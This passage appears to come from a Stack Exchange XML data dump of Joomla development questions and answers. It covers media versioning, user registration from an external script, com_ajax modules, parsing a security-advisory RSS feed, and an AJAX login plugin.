instead.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the media version is used, then the &lt;code&gt;src&lt;/code&gt; attribute of the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag will be different after the upgrade, and the browser will load the new file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you're developing an extension yourself it's worthwhile using this mechanism with your own CSS and JS files, by using the &lt;code&gt;array('version' =&amp;gt; 'auto')&lt;/code&gt; option described in the question. This is because Joomla updates the media version when &lt;em&gt;anything&lt;/em&gt; is installed or reinstalled on the instance, not just Joomla core. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned in the other answer, the media version is stored in the &lt;code&gt;extensions&lt;/code&gt; table, in the &lt;code&gt;params&lt;/code&gt; field of the record with &lt;code&gt;name&lt;/code&gt; LIB_JOOMLA. And a new media version is created upon every HTTP request if JDEBUG is enabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the code, the media version is generated from factors including the Joomla version, the Joomla instance &lt;code&gt;secret&lt;/code&gt; and the current date/time when the media version is generated. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-01-15T20:29:35.713" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26650" PostTypeId="2" ParentId="4761" CreationDate="2020-01-15T22:30:29.040" Score="1" Body="&lt;p&gt;Couldn't get the date correctly in Joomla! &lt;strong&gt;v.3.9.14&lt;/strong&gt;, here's my &lt;em&gt;(proven)&lt;/em&gt; solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$oUser_TZ  = JFactory::getUser()-&amp;gt;getTimezone();&#xA;$aUser_tz  = (array)$oUser_TZ; // almost sure this step is not that necessary&#xA;$full_date = JFactory::getDate('now', $aUser_tz['timezone']); // pretty sure $oUser_tz-&amp;gt;timezone will work&#xA;&#xA;// I had try to use $full_date-&amp;gt;Format('Y-m-d H:i:s') but it was giving me the non-converted-to-wanted-timezone date, so&#xA;$date_converted = substr($full_date, 0, 19);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$date_converted&lt;/code&gt; gives me the date in format &lt;code&gt;Y-m-d H:i:s&lt;/code&gt; and in the wanted timezone.&lt;/p&gt;&#xA;" OwnerUserId="13399" LastActivityDate="2020-01-15T22:30:29.040" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26651" PostTypeId="1" AcceptedAnswerId="26655" CreationDate="2020-01-16T12:25:45.030" Score="2" ViewCount="174" Body="&lt;p&gt;Joomla 3.9.14&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an external application that uses the script below, allowing users to register as a user on my Joomla site. It all appears to be working apart from error displaying. My code is below;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;register.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;// database connection&#xA;include('conn.php');&#xA;&#xA;require_once JPATH_BASE .'/components/com_users/models/registration.php';&#xA;&#xA;$model = new UsersModelRegistration();&#xA;&#xA;jimport('joomla.mail.helper');&#xA;jimport('joomla.user.helper');&#xA;&#xA;$language = JFactory::getLanguage();&#xA;$language-&amp;gt;load('com_users', JPATH_SITE);&#xA;&#xA;// hard coded for now, in live site these will be $_POST values&#xA;$username = 'adam';&#xA;$name = 'adam24';&#xA;$email = 'testmail@localhost.com';&#xA;$password = 'password';&#xA;&#xA;$data = array( &#xA;    'username' =&amp;gt; $username,&#xA;    'name' =&amp;gt; $name,&#xA;    'email1' =&amp;gt; $email,&#xA;    'password1' =&amp;gt; $password, // First password field&#xA;    'password2' =&amp;gt; $password, // Confirm password field&#xA;    'groups'    =&amp;gt;array('10'),&#xA;    'block' =&amp;gt; 0 );&#xA;&#xA;echo $model-&amp;gt;register($data);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I visit this page, the user is created in my Joomla site with the correct details. When I visit the page for a second time I get an error about the username already being is use, this is expected. However when I dump the error it is displayed as;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$err = $model-&amp;gt;get('_errors');&#xA;&#xA;// result of var_dump($err)&#xA;array (&#xA;  0 =&amp;gt; 'Joomla\\CMS\\Form\\Form::getInstance() could not load file',&#xA;  1 =&amp;gt; 'Registration failed: JLIB_DATABASE_ERROR_USERNAME_INUSE',&#xA;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;JLIB_DATABASE_ERROR_USERNAME_INUSE&lt;/code&gt; constant isn't loading - why would this be? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's defined at &lt;code&gt;administrator\language\en-GB\en-GB.lib_joomla.ini&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2020-01-16T14:02:55.257" LastActivityDate="2020-01-17T09:11:56.050" Title="Language Constant Not Displaying in External Script" Tags="|php|language|external-script|com-users|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26652" PostTypeId="1" AcceptedAnswerId="26656" CreationDate="2020-01-16T14:29:28.600" Score="1" ViewCount="47" Body="&lt;p&gt;i am currently building a new module that loads joomla articles via ajax. During the final tests I noticed that image links are (relative links) not handled correctly. If an image is added to an article, it will be saved without leading slash. Apparently Joomla adjusts this itself and adds a slash when the article is loaded normally. But not via my Ajax Call:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stored in the database: &lt;code&gt;....&amp;lt;img src=&quot;images/some-image.jpg&quot;&amp;gt;....&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Displayed in the browser: &lt;code&gt;....&amp;lt;img src=&quot;/images/some-image.jpg&quot;&amp;gt;....&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If loaded by my module: &lt;code&gt;....&amp;lt;img src=&quot;images/some-image.jpg&quot;&amp;gt;...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This of course leads to the problem that images are not displayed.&#xA;What do I have to refer to so that Joomla! helps me to correct the paths?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your feedback&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2020-01-16T16:49:32.950" LastActivityDate="2020-01-17T06:41:47.053" Title="Building a new module that loads articles not adding slashes in front of images" Tags="|articles|ajax|images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26653" PostTypeId="2" ParentId="26648" CreationDate="2020-01-16T16:23:55.850" Score="0" Body="&lt;p&gt;I was able to solve the issue, upon debugging I found that port 80 was being used by another instance of httpd.exe, two  instance of httpd.exe were running which was causing the issue. &lt;strong&gt;I resolved it by Using port 8080 instead of 80&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12037" LastEditorUserId="12037" LastEditDate="2020-07-13T13:36:59.367" LastActivityDate="2020-07-13T13:36:59.367" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26654" PostTypeId="2" ParentId="26651" CreationDate="2020-01-16T22:00:57.797" Score="0" Body="&lt;p&gt;I believe this arises because the you're running an external php application when you visit that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you visit a page which is part of the Joomla website then core Joomla runs and it performs a lot of application initialisation, which includes determining the language which should be used, and then loading the language strings from the JLIB ini file which you mention.This loading is done within the &lt;code&gt;load()&lt;/code&gt; method in the file &lt;code&gt;libraries/src/language/Language.php&lt;/code&gt;. Then also when you output an error message the code will have to call the &lt;code&gt;Text::_()&lt;/code&gt; method in  &lt;code&gt;libraries/src/language/Text.php&lt;/code&gt; to translate the language constant using the language strings stored in the Joomla Language class instance. I reckon that at least some of this functionality is absent in your external application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get round this you could try and mirror how Joomla initialises the Language classes etc, but personally I think that will be very challenging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not happy to leave things the way they are and want instead to be able to handle possible error messages, then the easiest solution would be to interpret the language constant yourself by reading the JLIB ini file using PHP &lt;code&gt;parse_ini_file&lt;/code&gt; and then looking for matching strings in the error message, and doing a string replace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also seem to remember hearing sometime that one of the aims of Joomla 4 was to provide a basic Joomla framework that external PHP applications could use, and if that's true then it might provide a solution, but I don't know enough about Joomla 4 to help there I'm afraid. I also could be wrong about that aim!&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-01-16T22:00:57.797" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26655" PostTypeId="2" ParentId="26651" CreationDate="2020-01-17T06:24:06.390" Score="2" Body="&lt;p&gt;Hard to say without seeing the complete code but my guess is you don't initialize the application and the language file in question does not get loaded. You can load it manually:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$language-&amp;gt;load('lib_joomla', JPATH_ADMINISTRATOR);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2020-01-17T09:11:56.050" LastActivityDate="2020-01-17T09:11:56.050" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26656" PostTypeId="2" ParentId="26652" CreationDate="2020-01-17T06:41:47.053" Score="1" Body="&lt;p&gt;This is handled by &lt;code&gt;System - SEF&lt;/code&gt; plugin. It will not work with page content added using JavaScript. You'll have to handle this in your code.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-01-17T06:41:47.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26658" PostTypeId="1" AcceptedAnswerId="26667" CreationDate="2020-01-17T15:34:46.413" Score="1" ViewCount="147" Body="&lt;p&gt;I've got a custom module which makes use of com_ajax to return values without refreshing the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my helper file I'm struggling to get the module parameters within the AJAX request and it looks like it's because the menu item that the AJAX is getting is one level higher up than the menu item that the module is attached to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test this, I've stripped everything else out and left it like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_mymodule/mod_mymodule.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = ModMyModuleHelper::getData();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_mymodule/helper.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getData() {&#xA;&#xA;    $active_item = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;id;&#xA;    var_dump($active_item); // this returns the correct menu item ID&#xA;&#xA;}&#xA;&#xA;getAjax() {&#xA;&#xA;   $active_item = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;id;&#xA;   var_dump($active_item); // this returns the menu item ID of the parent item&#xA;&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_mymodule/tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Print out the response from the getData() method in the helper.php&#xA;&amp;lt;?php echo $data; ?&amp;gt;&#xA;&#xA;# Triggers a call to the ajax request, output is returned to the console&#xA;&amp;lt;button onclick=&quot;getDynamicData()&quot;&amp;gt;Click To Run Ajax&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_mymodule/module.js&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;function getDynamicData() {&#xA;    jQuery.ajax({&#xA;        url: &quot;index.php?option=com_ajax&amp;amp;module=mymodule&amp;amp;format=json&quot;,&#xA;        type: &quot;POST&quot;,&#xA;        data: &quot;testing&quot;,&#xA;        success: function(data) {&#xA;            console.log(data);&#xA;        }&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm struggling with is why when the helper.php is called from the module template it returns the correct menu item, but when it's called via com_ajax it returns the parent item id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output to the page on page load: ID 1352 (current item ID)&#xA;Output in console after clicking button: ID 331 (parent item ID)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This prevents access to the module params as the com_ajax call doesn't see the module assigned to the page as it's looking at a level up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on why the menu items are different?&lt;/p&gt;&#xA;" OwnerUserId="14051" LastActivityDate="2020-01-20T16:28:18.780" Title="Connecting module with com_ajax triggers request on menu item one level up" Tags="|menu-item|ajax|custom-module|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26659" PostTypeId="1" AcceptedAnswerId="26662" CreationDate="2020-01-17T21:37:31.597" Score="1" ViewCount="69" Body="&lt;p&gt;I'm using &lt;code&gt;mod_feed&lt;/code&gt;.  I'm calling in an RSS feed from the Joomla! security strike team &lt;a href=&quot;http://feeds.joomla.org/JoomlaSecurityNews&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://feeds.joomla.org/JoomlaSecurityNews&lt;/a&gt;.  I want to show certain parts of that feed on our Joomla! User Group site.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The variable is &lt;code&gt;$text&lt;/code&gt; and echoing that fires out some HTML.  That is the default action of &lt;code&gt;mod_feeds&lt;/code&gt;.  If I copy and paste the outputted HTML it works well.  See below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://3v4l.org/O3AbL&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://3v4l.org/O3AbL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I use &lt;code&gt;$text&lt;/code&gt; it stops working.  But if I then copy the HTML into the file and set that as &lt;code&gt;$text&lt;/code&gt; it works.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why won't it work with the HTML that Joomla! creates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $doc = new DOMDocument();&#xA;        //$doc-&amp;gt;loadHTML($text);&#xA;        @$doc-&amp;gt;loadHTML($text);&#xA;        $xpath = new DOMXPath($doc);&#xA;        $feed_items = $xpath-&amp;gt;query('//div[contains(@class, &quot;newsfeed&quot;)]');&#xA;&#xA;        foreach ($feed_items as $feed_item) {&#xA;            $impact_node = $xpath-&amp;gt;query('*/li[contains(string(), &quot;Impact:&quot;)]', $feed_item);&#xA;            $impact = preg_replace('/Impact:\W*/', '', $impact_node-&amp;gt;item(0)-&amp;gt;textContent);&#xA;            echo &quot;Impact: &quot; . $impact . &quot;\n&quot;;&#xA;            $severity_node = $xpath-&amp;gt;query('*/li[contains(string(), &quot;Severity:&quot;)]', $feed_item);&#xA;            $severity = preg_replace('/Severity:\W*/u', '', $severity_node-&amp;gt;item(0)-&amp;gt;textContent);&#xA;            echo &quot;Severity: &quot; . $severity . &quot;\n&quot;;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2020-01-17T21:47:36.543" LastActivityDate="2020-01-18T01:35:24.207" Title="DOMDocument doesn't work on my variable, but it does if I add the HTML to the variable directly in the file" Tags="|feeds|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26662" PostTypeId="2" ParentId="26659" CreationDate="2020-01-18T01:22:56.137" Score="1" Body="&lt;p&gt;As indicated by your iterated &lt;code&gt;var_dump()&lt;/code&gt; outputs on your dev page, the HTML strings that are in &lt;code&gt;$text&lt;/code&gt; do not contain the class value required in your first &lt;code&gt;$xpath-&amp;gt;query()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no generated errors, just a logical hiccup. The parent div that you expected was not included in the string -- so the &lt;code&gt;foreach()&lt;/code&gt; is never entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one of your &lt;code&gt;$text&lt;/code&gt; strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Project:&amp;lt;/strong&amp;gt; Joomla!&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;SubProject:&amp;lt;/strong&amp;gt; CMS&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Impact:&amp;lt;/strong&amp;gt; Low&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Severity:&amp;lt;/strong&amp;gt; &amp;lt;span class=&quot;label label-info&quot;&amp;gt;Low&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Versions:&amp;lt;/strong&amp;gt; 3.8.0 - 3.9.13&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Exploit type:&amp;lt;/strong&amp;gt; Path Disclosure&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Reported Date:&amp;lt;/strong&amp;gt; 2019-November-22&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Fixed Date:&amp;lt;/strong&amp;gt; 2019-December-17&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;CVE Number:&amp;lt;/strong&amp;gt; &amp;lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19845&quot;&amp;gt;CVE-2019-19845&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;h3&amp;gt;Description&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;Missing access check in framework files could lead to a path disclosure.&amp;lt;/p&amp;gt;&#xA;&amp;lt;h3&amp;gt;Affected Installs&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;Joomla! CMS versions 3.8.0 - 3.9.13&amp;lt;/p&amp;gt;&#xA;&amp;lt;h3&amp;gt;Solution&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;Upgrade to version 3.9.14&amp;lt;/p&amp;gt;&#xA;&amp;lt;h3&amp;gt;Contact&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;The JSST at the &amp;lt;a title=&quot;Contact the JSST&quot; href=&quot;https://developer.joomla.org/security-centre.html&quot;&amp;gt;Joomla! Security Centre&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;&#xA;&amp;lt;div class=&quot;alert alert-info&quot;&amp;gt;&amp;lt;strong&amp;gt;Reported By: &amp;lt;/strong&amp;gt;Lee Thao, Viettel Cyber Security&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;feedflare&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;https://feeds.joomla.org/~ff/JoomlaSecurityNews?a=_fWsZ57Sw7g:uVTwWaDiNQ0:yIl2AUoC8zA&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use my snippet below to process the html string: (&lt;a href=&quot;https://3v4l.org/XdsPJ&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = new DOMDocument();&#xA;$doc-&amp;gt;loadHTML($html);&#xA;$xpath = new DOMXPath($doc);&#xA;$impact_node = $xpath-&amp;gt;query('//li[contains(string(), &quot;Impact:&quot;)]');&#xA;echo &quot;Impact: &quot; . str_replace('Impact: ', '', $impact_node-&amp;gt;item(0)-&amp;gt;textContent);&#xA;echo &quot;\n&quot;;&#xA;$severity_node = $xpath-&amp;gt;query('//li[contains(string(), &quot;Severity:&quot;)]/span[contains(@class, &quot;label-info&quot;)]');&#xA;echo &quot;Severity: &quot; . $severity_node-&amp;gt;item(0)-&amp;gt;textContent . &quot;\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Impact: Low&#xA;Severity: Low&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-01-18T01:35:24.207" LastActivityDate="2020-01-18T01:35:24.207" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26664" PostTypeId="2" ParentId="26634" CreationDate="2020-01-18T19:15:37.037" Score="2" Body="&lt;p&gt;Create a simple ajax plugin that handles your user login logic and returns a message for your users. The following 2 files should be zipped together and installed on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;userlogin.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Import library dependencies&#xA;jimport('joomla.plugin.plugin');&#xA;&#xA;class plgAjaxUserLogin extends JPlugin{&#xA;    function onAjaxUserLogin(){&#xA;        jimport('joomla.plugin.helper');&#xA;        $app = JFactory::getApplication('site');&#xA;        $JInput = $app-&amp;gt;input;&#xA;&#xA;        //GET FORM INPUT&#xA;        $username = $JInput-&amp;gt;get('username','','raw');&#xA;        $password = $JInput-&amp;gt;get('password','','raw');&#xA;&#xA;        //CREATE CREDENTIALS ARRAY&#xA;        $credentials = array();&#xA;        $credentials['username'] = $username;&#xA;        $credentials['password'] = $password;&#xA;&#xA;        //VERIFY USER EXISTS (ALSO CHECKS EMAIL IF YOU ARE USING AN EMAIL LOGIN AUTHENTICATION PLUGIN AND ALLOW EMAIL ADDRESSES AS USERNAMES)&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select('id, password')&#xA;            -&amp;gt;from('#__users')&#xA;            -&amp;gt;where('username=' . $db-&amp;gt;quote($credentials['username']). ' OR email = '.$db-&amp;gt;quote($credentials['username']));&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $result = $db-&amp;gt;loadObject();&#xA;&#xA;        if ($result){&#xA;&#xA;            if (JUserHelper::verifyPassword($credentials['password'], $result-&amp;gt;password, $result-&amp;gt;id)){&#xA;                //GET USER INSTANCE FROM DATABASE ID&#xA;                $user = JUser::getInstance($result-&amp;gt;id);&#xA;                $msg = &quot;Login Successful. Welcome &quot;.$user-&amp;gt;name;&#xA;&#xA;                //LOGIN THE USER&#xA;                $error = $app-&amp;gt;login($credentials, $options = array());&#xA;                $this-&amp;gt;sendMessage('success', false, array('msg' =&amp;gt; $msg));&#xA;            }else{&#xA;                //HANDLE INCORRECT PASSWORD&#xA;                $msg = &quot;Password Incorrect.&quot;;&#xA;                $this-&amp;gt;sendMessage('error', true, array('msg' =&amp;gt; $msg));&#xA;            }&#xA;        }else{&#xA;            //HANDLE INVALID USERNAME&#xA;            $msg = &quot;Username Incorrect or not found.&quot;;&#xA;            $this-&amp;gt;sendMessage('error', true, array('msg' =&amp;gt; $msg));&#xA;        }&#xA;    }&#xA;&#xA;    //FUNCTION FOR QUEUEING AJAX MESSAGE RESPONSES&#xA;    public static function sendMessage($message, $error = false, $data = array()){&#xA;        ob_clean();&#xA;        if(!$error){&#xA;            JFactory::getApplication()-&amp;gt;enqueueMessage($message, 'success');&#xA;            echo new JResponseJson($data);&#xA;        }else{&#xA;            JFactory::getApplication()-&amp;gt;enqueueMessage($message, 'error');&#xA;            $response = new JResponseJson($data, $message, true);&#xA;            echo $response;&#xA;        }&#xA;        JFactory::getApplication()-&amp;gt;close();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;userlogin.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.0&quot; type=&quot;plugin&quot; group=&quot;ajax&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Ajax User Login&amp;lt;/name&amp;gt;&#xA;    &amp;lt;version&amp;gt;0.1&amp;lt;/version&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;Jan 18, 2020&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;author&amp;gt;YOUR NAME&amp;lt;/author&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;email@domain.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;http://www.domain.com&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;description&amp;gt;AJAX User Login Plugin&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;userlogin&quot;&amp;gt;userlogin.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have installed the plugin go to your Plugins administration and enable it. There are no other options for the plugin so just enabling it is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the HTML form below you can remove the  if you are not wanting to display the register and reminder links. They have nothing to do with the form operation they are just nice helpers for users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML Form&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;userLoginPopup&quot;&amp;gt;&#xA;    &amp;lt;form method=&quot;post&quot; action=&quot;#&quot; id=&quot;userForm&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;loginErrorText&quot; style=&quot;display:none;color:red;font-weight:bold;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;label style=&quot;font-weight:bold;&quot; for=&quot;login-username&quot;&amp;gt;Username&amp;lt;/label&amp;gt;  &#xA;            &amp;lt;input id=&quot;login-username&quot; type=&quot;text&quot; value=&quot;&quot; name=&quot;username&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;label style=&quot;font-weight:bold;&quot; for=&quot;login-password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;  &#xA;            &amp;lt;input id=&quot;login-password&quot; type=&quot;password&quot; value=&quot;&quot; name=&quot;password&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;button class=&quot;btn btn-wide&quot; id=&quot;login-user&quot;&amp;gt;Login&amp;lt;/button&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/register&quot;&amp;gt;Create an account&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/username-reminder&quot;&amp;gt;Forgot your username?&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/password-reset&quot;&amp;gt;Forgot your password?&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last part is the jQuery that sends the credentials over to the plugin for authentication. The plugin will return both success and error messages based on standard logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Javascript&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function($){&#xA;&#xA;    $(&quot;#login-user&quot;).click(function(e){&#xA;        e.preventDefault();&#xA;        var errorText = $(&quot;#loginErrorText&quot;);&#xA;        var userName = $('#login-username').val();&#xA;        var passWord = $('#login-password').val();&#xA;&#xA;        var dataString = 'username='+userName+'&amp;amp;password='+passWord;&#xA;        jQuery.ajax({&#xA;            url: '/index.php?option=com_ajax&amp;amp;plugin=userlogin&amp;amp;method=userlogin&amp;amp;format=raw',&#xA;            type: 'POST',&#xA;            data: dataString,&#xA;            cache: false,&#xA;            success: function(result){&#xA;                var jmsgs = $.parseJSON(result);&#xA;                var success = jmsgs.success;&#xA;                var msg = jmsgs.data.msg;&#xA;                console.log(jmsgs);&#xA;                if(!success){&#xA;                    errorText.text(msg).show();&#xA;                }else{&#xA;                    errorText.text(msg).show();&#xA;                }&#xA;            }&#xA;        });&#xA;    